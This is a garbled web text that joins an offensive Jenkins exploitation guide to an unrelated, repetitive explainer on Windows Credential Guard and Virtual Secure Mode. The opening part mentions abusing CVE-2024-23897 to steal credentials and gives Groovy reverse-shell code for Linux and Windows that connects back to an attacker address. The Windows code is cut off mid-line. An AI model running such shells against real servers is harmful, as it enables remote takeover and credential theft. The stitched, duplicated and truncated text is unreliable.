Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Virtualization Based Security is a major Microsoft windows feature released with Windows Server 2016 and Windows 10 Operating System.Credential Guard Feature is available with Windows Server 2016 and Windows 10 Operating Systems to prevent the memory read attempt or in other words protect the Domain Credentials (Kerberos and NTLM) thus Preventing Pass the Hash Attacks (Credential Theft Attack)Credential Guard leverages Virtual Secure Mode (VSM) feature of Virtualization Based Security (VBS) to create Isolate User Modes to process the Codes preventing it from being stolen.The device guard feature also rely on the Virtualization based Security (VBS)
Pass the Hash is a fundamental function of Windows for remote administration which will be taken care by the LSASS process (User Mode Process responsible for Authentication and Isolation of users).LSASS is a User Mode Process manages the hash that needs to be passed for remote administration. Upon Enabling Credential Guard, the Local Security Authority Subsystem Service (LSASS.exe) runs sensitive codes in Isolated mode as an Isolated LSA Process (LSAISO.exe) to protect the NTLM and Kerberos Codes.
How the Virtual Secure Mode (VSM) Works
VSM leverages the Hyper-V Hypervisor and Second Level Address Translation (SLAT) Features to create isolated Virtual Trust Levels (VTL) or Modes.
- SLAT is a hardware CPU feature leveraged by Hyper-V that helps to reduce the overhead of virtual to physical memory mapping.
- VTLs are numbered and higher the number, more secured is its memory space.
- Hyper-V is a Type-1 Microkernel and VMware is a Type-1 Monolithic Kernel
VSM Operation Flow,
1. Boot Process:
3. The Virtual Trust Levels are assigned with appropriate access permissions and a secure separate run time environment is created
4. The code running in Normal kernel & user mode cannot access the code running in Secure Kernel/ Isolated User mode as shown in the above figure
5. Another LSASS.exe then runs as a Trustlet (Trusted Process) in the Isolated User Mode as LSAISO.exe. (LSASS.exe still runs in the VTL0)
6. LSAISO.exe communicates with LSASS.exe over a secure encrypted Remote Procedure Call (RPC) Connection.
7. All the secure/trusted processed (Trustlets) which includes NTLM Hashes and Kerberos Tokens runs only in the Isolated User Mode thus preventing is from being stolen.
-Even if the Normal Kernel mode of VTL0 is compromised, it cannot access the secure pages in IUM.
-The Secure kernel cannot be extended or in other words we cannot create a secure driver to run in Secure kernel and run malicious codes in the isolated user Mode (Microsoft Can perform it).
-Also, it’s not possible for Normal Kernel drivers to load DLL into IUM (Isolated User Mode) Process for threat injection.
- SLAT is a hardware CPU feature leveraged by Hyper-V that helps to reduce the overhead of virtual to physical memory mapping.
- VTLs are numbered and higher the number, more secured is its memory space.
- Hyper-V is a Type-1 Microkernel and VMware is a Type-1 Monolithic Kernel
VSM Operation Flow,
1. Boot Process:
- When the Machine Boots, “bootmgr.efi” is validated by Secure Boot and loaded.
- Bootmgr then execute the “winload.efi”(Windows Loader)
- Winload loads and checks the VBS Configuration (Hyper-V and VTL0/1 Components)
- Winload starts Hyper-V.
3. The Virtual Trust Levels are assigned with appropriate access permissions and a secure separate run time environment is created
4. The code running in Normal kernel & user mode cannot access the code running in Secure Kernel/ Isolated User mode as shown in the above figure
5. Another LSASS.exe then runs as a Trustlet (Trusted Process) in the Isolated User Mode as LSAISO.exe. (LSASS.exe still runs in the VTL0)
6. LSAISO.exe communicates with LSASS.exe over a secure encrypted Remote Procedure Call (RPC) Connection.
7. All the secure/trusted processed (Trustlets) which includes NTLM Hashes and Kerberos Tokens runs only in the Isolated User Mode thus preventing is from being stolen.
-Even if the Normal Kernel mode of VTL0 is compromised, it cannot access the secure pages in IUM.
-The Secure kernel cannot be extended or in other words we cannot create a secure driver to run in Secure kernel and run malicious codes in the isolated user Mode (Microsoft Can perform it).
-Also, it’s not possible for Normal Kernel drivers to load DLL into IUM (Isolated User Mode) Process for threat injection.
Enable Credential Guard in Windows Server 2016
1. Install the Hyper-V Role.
2. Turn on the Device Guard as below.
Computer Configuration > Administrative Templates > System > Device Guard >> Edit the policy “Turn on Virtualization Based Security”.
##Below Settings are only to Turn on Device Guard ##
2. Turn on the Device Guard as below.
Computer Configuration > Administrative Templates > System > Device Guard >> Edit the policy “Turn on Virtualization Based Security”.
##Below Settings are only to Turn on Device Guard ##
After Enable, we can verify the new LSAISO.exe status from Task Manager.
